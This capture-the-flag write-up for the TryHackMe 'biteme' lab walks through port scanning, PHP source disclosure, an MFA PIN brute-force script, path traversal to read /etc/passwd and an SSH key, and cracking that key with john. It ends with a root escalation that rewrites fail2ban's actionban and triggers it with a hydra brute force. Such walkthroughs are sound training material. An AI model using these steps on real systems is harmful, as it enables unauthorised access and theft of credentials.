Description: This is a write-up of the biteme CTF in TryHackMe.
Stay out of my server!
Footprinting
Open ports
Scanning open ports via Nmap:
kali@kali:~$ sudo nmap -v10 -sS -Pn -p- -v10 -oA syn_full 10.10.96.211
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 60
80/tcp open http syn-ack ttl 60
kali@kali:~$ sudo nmap -v10 -sC -sV -Pn -p22,80 -v10 -oA syn_full 10.10.96.211
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 60 OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 89:ec:67:1a:85:87:c6:f6:64:ad:a7:d1:9e:3a:11:94 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOkcBZItsAyhmjKqiIiedZbAsFGm/mkiNHjvggYp3zna1Skix9xMhpVbSlVCS7m/AJdWkjKFqK53OfyP6eMEMI4EaJgAT+G0HSsxqH+NlnuAm4dcXsprxT1UluIeZhZ2zG2k9H6Qkz81TgZOuU3+cZ/DDizIgDrWGii1gl7dmKFeuz/KeRXkpiPFuvXj2rlFOCpGDY7TXMt/HpVoh+sPmRTq/lm7roL4468xeVN756TDNhNa9HLzLY7voOKhw0rlZyccx0hGHKNplx4RsvdkeqmoGnRHtaCS7qdeoTRuzRIedgBNpV00dB/4G+6lylt0LDbNzcxB7cvwmqEb2ZYGzn
| 256 7f:6b:3c:f8:21:50:d9:8b:52:04:34:a5:4d:03:3a:26 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOZGQ8PK6Ag3kAOQljaZdiZTitqMfwmwu6V5pq1KlrQRl4funq9C45sVL+bQ9bOPd8f9acMNp6lqOsu+jJgiec4=
| 256 c4:5b:e5:26:94:06:ee:76:21:75:27:bc:cd:ba:af:cc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMpXlaxVKC/3LXrhUOMsOPBzptNVa1u/dfUFCM3ZJMIA
80/tcp open http syn-ack ttl 60 Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
I used ffuf
to enumerate the resources on the web server:
kali@kali:~$ ffuf -v -c -w /usr/share/dirb/wordlists/common.txt -u http://10.10.96.211/FUZZ -t 100 -fc 404,403
"http://10.10.96.211/"
"http://10.10.96.211/console"
"http://10.10.96.211/index.html"
In the /console/
page, there is a login form with a captcha:
>>>
POST /console/index.php HTTP/1.1
Host: 10.10.96.211
Cookie: PHPSESSID=36cmpgi2su11s3o51mfpcipis9
user=admin&pwd=password&captcha_code=w7TxPB&clicked=yes
<<<
Incorrect details
The captcha is renewed for every login attempt. So we cannot replay the logins to initiaite a brute-force attack :/
Down the rabbit image
Further enumeration shows that the captchas are generated via Securimage
, which might be bypassed:
kali@kali:~$ searchsploit Securimage
------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------ ---------------------------------
PHP Captcha / Securimage 2.0.2 - Authentication Bypass | php/webapps/17309.txt
Securimage - 'example_form.php' Cross-Site Scripting | php/webapps/38509.txt
WordPress Plugin Securimage-WP - 'siwp_test.php' Cross-Site Scripting | php/webapps/38510.txt
------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
According to the following blog:
The flaw in the CAPTCHA stems from the way MP3 and WAV audio codes, intended for use by by the visually impaired, are generated. It is worth noting that even when the user of the site has removed the audio functionality from their displayed CAPTCHA the functionality can still be accessed via forceful browsing to the file called
/securimage_play.php
.The audio codes that are generated by PHPCaptcha are created by concatenating a set of audio files (that are publicly accessible in
/audio
directory).
Indeed, directory indexing is enabled in /console/securimage/
and we see:
securimage_play.php
that downloads a random.waf
file (CAPTCHA audio) ;the directory
/console/securimage/audio/en/
which contains the audios0.wav
,1.wav
, ...,20.wav
,A.wav
, ...Z.wav
, and finallyMINUS.wav
,PLUS.wav
,TIMES.wav
,error.wav
.the directory
/console/securimage/audio/noise/
which contains the following background noises:
check-point-1.wav
crowd-talking-1.wav
crowd-talking-6.wav
crowd-talking-7.wav
kids-playing-1.wav
However, Securimage
in the web server is not exploit, as it has a more recent version than 2.0.2
:
>>>
GET /console/securimage/README.txt HTTP/1.1
Host: 10.10.96.211
<<<
NAME:
Securimage - A PHP class for creating captcha images and audio with many options.
VERSION:
3.6.8
Obfuscated JS & Highlighted PHPs
The login page contain an obfuscated JS code:
<script>
function handleSubmit() {
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.1(\'2\').3=\'4\';5.6(\'@7 8 9 a b c d e f g h i... j\');',20,20,'document|getElementById|clicked|value|yes|console|log|fred|I|turned|on|php|file|syntax|highlighting|for|you|to|review|jason'.split('|'),0,{}))
return true;
}
</script>
Indeed, we can see fred|I|turned|on|php|file|syntax|highlighting|for|you|to|review|jason
. Unpacking it (notice the function's argument: p,a,c,k,e,r
), it shows:
function handleSubmit() {
document.getElementById('clicked').value = 'yes';
console.log('@fred I turned on php file syntax highlighting for you to review... jason');
return true;
}
Fred has enabled a PHP syntax highlighting option. This option allows to print the highlighted version of a PHP script in its HTML format using the highlight_file
[php.net/manual/en/function.highlight-file.php) function. That way, the PHP code is not interepreted by the server, and the response of the page shows an HTML highlighted format of the PHP script. For example, if index.php
contains:
kali@kali:~$ cat index.php
<?php phpinfo()?>
Then, highlight_file
would both encode the code in HTML, and highlight it:
kali@kali:~$ php -a
Interactive shell
php > highlight_file('index.php');
<code><span style="color: #000000">
<span style="color: #0000BB"><?php phpinfo</span><span style="color: #007700">()</span><span style="color: #0000BB">?><br /></span>
</span>
</code>
[The function's description states] (php.net/manual/en/function.highlight-file.php):
Many servers are configured to automatically highlight files with a
phps
extension. For example,example.phps
when viewed will show the syntax highlighted source of the file.
Indeed, we can see the source code of a PHP script via its highlighted version by using phps
extension in the web server !
>>>
GET /console/index.phps HTTP/1.1
Host: 10.10.96.211
<<<
<?php
session_start();
include('functions.php');
include('securimage/securimage.php');
$showError = false;
$showCaptchaError = false;
if (isset($_POST['user']) && isset($_POST['pwd']) && isset($_POST['captcha_code']) && isset($_POST['clicked']) && $_POST['clicked'] === 'yes') {
$image = new Securimage();
if (!$image->check($_POST['captcha_code'])) {
$showCaptchaError = true;
} else {
if (is_valid_user($_POST['user']) && is_valid_pwd($_POST['pwd'])) {
setcookie('user', $_POST['user'], 0, '/');
setcookie('pwd', $_POST['pwd'], 0, '/');
header('Location: mfa.php');
exit();
} else {
$showError = true;
}
}
}
?>
[...]
Authentication
The condition to authenticate is to give a valid username and password:
if (is_valid_user($_POST['user']) && is_valid_pwd($_POST['pwd'])) {
setcookie('user', $_POST['user'], 0, '/');
setcookie('pwd', $_POST['pwd'], 0, '/');
header('Location: mfa.php');
is_valid_user
and is_valid_pwd
are defined in functions.php
(included at the beginning of the file):
<?php
include('config.php');
function is_valid_user($user) {
$user = bin2hex($user);
return $user === LOGIN_USER;
}
// @fred let's talk about ways to make this more secure but still flexible
function is_valid_pwd($pwd) {
$hash = md5($pwd);
return substr($hash, -3) === '001';
}
Valid username
A username is valid if it equals LOGIN_USER
when converted to ASCII hex.
The LOGIN_USER
variable is present in config.php
(imported at the top of the file):
>>>
GET /console/config.phps HTTP/1.1
Host: 10.10.96.211
<<<
<?php
define('LOGIN_USER', '6a61736f6e5f746573745f6163636f756e74');
Thus, a valid username is:
php > echo hex2bin('6a61736f6e5f746573745f6163636f756e74');
jason_test_account
Valid password
A password is valid if its md5 hash ends with 001
.
To find a valid password, I wrote a simple python script, magic_hash_finder.py
that searches the input MD5 needs to ouput a hash ending with 001
.
Thus, a valid password is:
kali@kali:~$ ./magic_hash_finder.py --algorithm md5 --end --pattern 001
[+] Looking for a matching hash...
[+] md5('5265') = f127a3f714240273e254d740ed23f001
Finally, we can login as jason_test_account : 5265
.
MFA
Credentials are stored in the cookies user
and pwd
. Once logged in, the mfa.php
page asks for a PIN code:
>>>
POST /console/mfa.php HTTP/1.1
Host: 10.10.96.211
Cookie: PHPSESSIONID=dt7toh23pq09986kgbcmf4294g; pwd=5265; user=jason_test_account
code=0000
<<<
A 4 digit code has been sent to your device
Incorrect code
But again, the JavaScript code present is too informative:
<script>
function handleSubmit() {
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.1(\'@2 3 4 5 6 7 8 9 a b c, d e f g h... i\');',19,19,'console|log|fred|we|need|to|put|some|brute|force|protection|on|here|remind|me|in|the|morning|jason'.split('|'),0,{}));
return true;
}
</script>
In other words, executing this function in the browser's console:
@fred we need to put some brute force protection on here, remind me in the morning... jason
Then, let's brute-force it using a basic Python program:
#!/usr/bin/env python3
import requests
import itertools
import string
def get_all_permutations(charset, length):
return list(map(list, itertools.product(charset, repeat = length)))
if __name__ == "__main__":
url = "http://10.10.96.211/console/mfa.php"
cookies = {'PHPSESSIONID': 'dt7toh23pq09986kgbcmf4294g', 'user': 'jason_test_account', 'pwd': '5265'}
print(f"[+] Looking for a valid PIN on {url}...")
pins = get_all_permutations(string.digits, 4)
for pin in pins:
req = requests.post(url=url, cookies=cookies, data={"code": "".join(pin)}, proxies={'http':'http://127.0.0.1:8080'})
if not "Incorrect code" in req.text:
print(f"[+] Valid PIN: {pin}")
exit()
kali@kali:~$ ./mfa_brute.py
[+] Looking for a valid PIN on http://10.10.96.211/console/mfa.php...
[+] Valid PIN: ['2', '0', '5', '5']
BTW, see how the MFA was randomly generated in
mfa.php
between 1000 and 3000:
>>>
GET /console/mfa.phps HTTP/1.1
Host: 10.10.96.211
Cookie: PHPSESSIONID=dt7toh23pq09986kgbcmf4294g; user=jason_test_account; pwd=5265
<<<
if (!is_file('/tmp/mfa.txt')) {
$code = mt_rand(1000, 3000);
file_put_contents('/tmp/mfa.txt', $code);
} else {
$code = file_get_contents('/tmp/mfa.txt');
}
Finally we can access the dashboard !
Dashboard
The dashboard has 2 features:
- File browser:
>>>
POST /console/dashboard.php HTTP/1.1
Host: 10.10.96.211
Cookie: PHPSESSID=dt7toh23pq09986kgbcmf4294g; user=jason_test_account; pwd=5265; code=2055
browse=/home/
<<<
.
..
fred
jason
- File viewer:
>>>
POST /console/dashboard.php HTTP/1.1
Host: 10.10.96.211
Cookie: PHPSESSID=dt7toh23pq09986kgbcmf4294g; user=jason_test_account; pwd=5265; code=2055
view=../../../../etc/passwd
<<<
root:x:0:0:root:/root:/bin/bash
[...]
jason:x:1000:1000:jason:/home/jason:/bin/bash
fred:x:1001:1001::/home/fred:/bin/sh
The user flag is in the jason's home folder :-]
>>>
POST /console/dashboard.php HTTP/1.1
Host: 10.10.96.211
Cookie: PHPSESSID=dt7toh23pq09986kgbcmf4294g; user=jason_test_account; pwd=5265; code=2055
view=/home/jason/user.txt
<<<
THM{6f[...]70}
Local Privilege Escalation
jason
Pretty quick, I see a private RSA key:
>>>
POST /console/dashboard.php HTTP/1.1
Host: 10.10.96.211
Cookie: PHPSESSID=dt7toh23pq09986kgbcmf4294g; user=jason_test_account; pwd=5265; code=2055
view=/home/jason/.ssh/id_rsa
<<<
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,983BDF3BE962B7E88A5193CD1551E9B9
nspZgFs2AHTCqQUdGbA0reuNel2jMB/3yaTZvAnqYt82m6Kb2ViAqlFtrvxJUTkx
vbc2h5vIV7N54sHQvFzmNcPTmOpy7cp4Wnd5ttgGpykiBTni6xeE0g2miyEUu+Qj
JaLEJzzdiehg0R3LDqZqeuVvy9Cc1WItPuKRLHJtoiKHsFvm9arbW4F/Jxa7aVgH
l5rfo6pEI0liruklDfFrDjz96OaRtdkOpM3Q3GxYV2Xm4h/Eg0CamC7xJC8RHr/w
EONcJm5rHB6nDVV5zew+dCpYa83dMViq7LOGEZ9QdsVqHS59RYEffMc45jkKv3Kn
ky+y75CgYCWjtLbhUc4Ml21kYz/pDdObncIRH3m6aF3w/b0F/RlyAYQYUYGfR3/5
Y9a2/hVbBLX7oM+KQqWHD5c05mLNfAYWTUxtbANVy797CSzYssMcCrld7OnDtFx7
qPonOIRjgtfCodJuCou0o3jRpzwCwTyfOvnd29SF70rN8klzjpxvqNEEbSfnh04m
ss1fTMX1eypmCsHecmpjloTxdPdj1aDorwLkJZtn7h+o3mkWG0H8vnCZArtxeiiX
t/89evJXhVKHSgf83xPvCUvnd2KSjTakBNmsSKoBL2b3AN3S/wwapEzdcuKG5y3u
wBvVfNpAD3PmqTpvFLClidnR1mWE4r4G1dHwxjYurEnu9XKO4d+Z1VAPLI2gTmtd
NblKTwZQCWp20rRErOyT9MxjT1gTkVmpiJ0ObzQHOGKJIVaMS8oEng2gYs48nugS
AsafORd3khez4r/5g9opRj8rdCkK83fG5WA15kzcOJ+BqiKyGU26hCbNuOAHaAbq
Zp+Jqf4K6FcKsrL2VVCmPKOvkTEItVIFGDywp3u+v0LGjML0wbrGtGzP7pPqYTZ5
gJ4TBOa5FUfhQPAJXXJU3pz5svAHgTsTMRw7p8CSfedCW/85bMWgzt5XuQdiHZA0
FeZErRU54+ntlJ1YdLEjVWbhVhzHyBXnEXofj7XHaNvG7+r2bH8GYL6PeSK1Iiz7
/SiK/v4kjOP8Ay/35YFyfCYCykhdJO648MXb+bjblrAJldeXO2jAyu4LlFlJlv6/
bKB7viLrzVDSzXIrFHNoVdFmLqT3yEmui4JgFPgtWoHUOQNUw8mDdfCR0x3GAXZP
XIU1Yn67iZ9TMz6z8HDuc04GhiE0hzI6JBKJP8vGg7X8rBuA7DgoFujSOg7e8HYX
7t07CkDJcAfqy/IULQ8pWtEFTSXz1bFpl360v42dELc6BwhYu4Z4qza9FtYS0L/d
ts5aw3VS07Xp5v/pX+RogV8uIa0jOKTkVy5ZnnlJk1qa9zWX3o8cz0P4TualAn+h
dQBVNOgRIZ11a6NU0bhLCJTL2ZheUwe9MTqvgRn1FVsv4yFGo/hIXb6BtXQE74fD
xF6icxCBWQSbU8zgkl2QHheONYdfNN0aesoFGWwvRw0/HMr4/g3g7djFc+6rrbQY
xibeJfxvGyw0mp2eGebQDM5XiLhB0jI4wtVlvkUpd+smws03mbmYfT4ghwCyM1ru
VpKcbfvlpUuMb4AH1KN0ifFJ0q3Te560LYc7QC44Y1g41ZmHigU7YOsweBieWkY2
-----END RSA PRIVATE KEY-----
This file is encrypted, i.e. protected with a password. Let's converting it into a john
hash format in order to crack it:
kali@kali:~$ ssh2john id_rsa > hash.txt
The wordlist rockyou
reveals his password, as in most CTFs ^^
kali@kali:~$ john -w=/usr/share/wordlists/rockyou.txt hash.txt
1a2b3c4d (id_rsa)
Finally, we can login to the sever via SSH !
ssh -i id_rsa jason@10.10.96.211
Enter passphrase for key 'id_rsa': 1a2b3c4d
jason@biteme:~$
fred
Ok, so jason
can run anything as fred
with no password:
jason@biteme:~$ sudo -l
Matching Defaults entries for jason on biteme:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jason may run the following commands on biteme:
(ALL : ALL) ALL
(fred) NOPASSWD: ALL
So let's impersonate fred
:
jason@biteme:~$ sudo -u fred bash
fred@biteme:~$ whoami
fred
root
Fred can run a root
command:
fred@biteme:~$ sudo -l
Matching Defaults entries for fred on biteme:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User fred may run the following commands on biteme:
(root) NOPASSWD: /bin/systemctl restart fail2ban
However, we cannot overwrite the fail2ban
service and inject a shell command inside:
fred@biteme:~$ find / -name "fail2ban*" -type f -exec ls -l {} \; 2>/dev/null
[...]
-rw-r--r-- 1 root root 673 Apr 4 2018 /lib/systemd/system/fail2ban.service
[...]
fred@biteme:~$ systemctl status fail2ban.service
● fail2ban.service - Fail2Ban Service
Loaded: loaded (/lib/systemd/system/fail2ban.service; enabled; vendor preset: enabled)
Fail2ban's website shows fail2ban
acts like an Intrusion Prevention System:
Fail2ban scans log files (e.g.
/var/log/apache/error_log
) and bans IPs that show the malicious signs -- too many password failures, seeking for exploits, etc.Generally Fail2Ban is then used to update firewall rules to reject the IP addresses for a specified amount of time, although any arbitrary other action (e.g. sending an email) could also be configured. Out of the box Fail2Ban comes with filters for various services (apache, courier, ssh, etc).
Therefore, this tool would add a server's Firewall rule to block the malicious IP if it detects malicious activities. This blog also says:
fail2ban
only adds and removes its own rules—your regular firewall functions will remain untouched.
Given that Fred can run the following command as root
with no password:
fred@biteme:~$ sudo /bin/systemctl restart fail2ban
It's worth checking if he can edit the fail2ban
's configurations:
fred@biteme:/tmp$ find /etc/fail2ban/ -writable 2>/dev/null
/etc/fail2ban/action.d
/etc/fail2ban/action.d/iptables-multiport.conf
We can write the action.d
folder, which can be used to perform a privilege escalation ^^
As this write-up explains, /etc/fail2ban/jail.conf
contains the different services and determines whether fail2ban
is enabled or not for these services. The ban action to take (e.g. in case of three authentication failures, how much time lasts the ban, ...) is set in /etc/fail2ban/action.d
.
More information here.
The SSH fail2ban
configurations are set in /etc/fail2ban/jail.conf
:
fred@biteme:~$ cat /etc/fail2ban/jail.conf
[sshd]
port = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)s
When some configurations are not set within the sshd
section (e.g. duration of the ban, maximum authorized login failures, ...), the DEFAULT
's section configurations are considered by default:
fred@biteme:~$ cat /etc/fail2ban/jail.con
[DEFAULT]
ignorecommand =
bantime = 10m
findtime = 10m
maxretry = 5
[...]
In other words, if I trigger 6 authentication failures (maxretry
) in SSH in a 10-minutes window (findtime
), I will get banned for 10 minutes (bantime
).
But more importantly, the following actionban
command, set in /etc/fail2ban/action.d/iptables-multiport.conf
, is run once the client gets banned:
fred@biteme:~$ vim /etc/fail2ban/action.d/iptables-multiport.conf
actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>
Therefore, we can modify that Firewall update into the following bash commands:
fred@biteme:~$ vim /etc/fail2ban/action.d/iptables-multiport.conf
actionban = ls -la /root >/tmp/root.txt; cat /root/root.txt >> /tmp/root.txt; chmod 777 /tmp/root.txt;
These commands will :
List the files inside
/root
directory and put it in/tmp/root.txt
;Append the content of
/root/root.txt
in/tmp/root.txt
;Change the permission of
/tmp/root.txt
, so thatfred
may read this file. Now, let's restart the service in the server:
fred@biteme:~$ sudo /bin/systemctl restart fail2ban
And launch a brute force attack to trigger the ban action:
kali@kali:~$ hydra -I -V -f -t 16 -l test -P /usr/share/wordlists/rockyou.txt ssh://10.10.96.211 -s 22
Finally, we have the root flag !
fred@biteme:~$ cat /tmp/root.txt
total 36
drwx------ 5 root root 4096 Mar 4 18:22 .
drwxr-xr-x 24 root root 4096 Mar 4 18:18 ..
-rw------- 1 root root 115 Mar 4 18:22 .bash_history
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 3 root root 4096 Sep 24 2021 .gnupg
drwxr-xr-x 3 root root 4096 Sep 23 2021 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 38 Sep 23 2021 root.txt
drwx------ 2 root root 4096 Sep 23 2021 .ssh
THM{0e[...]8d}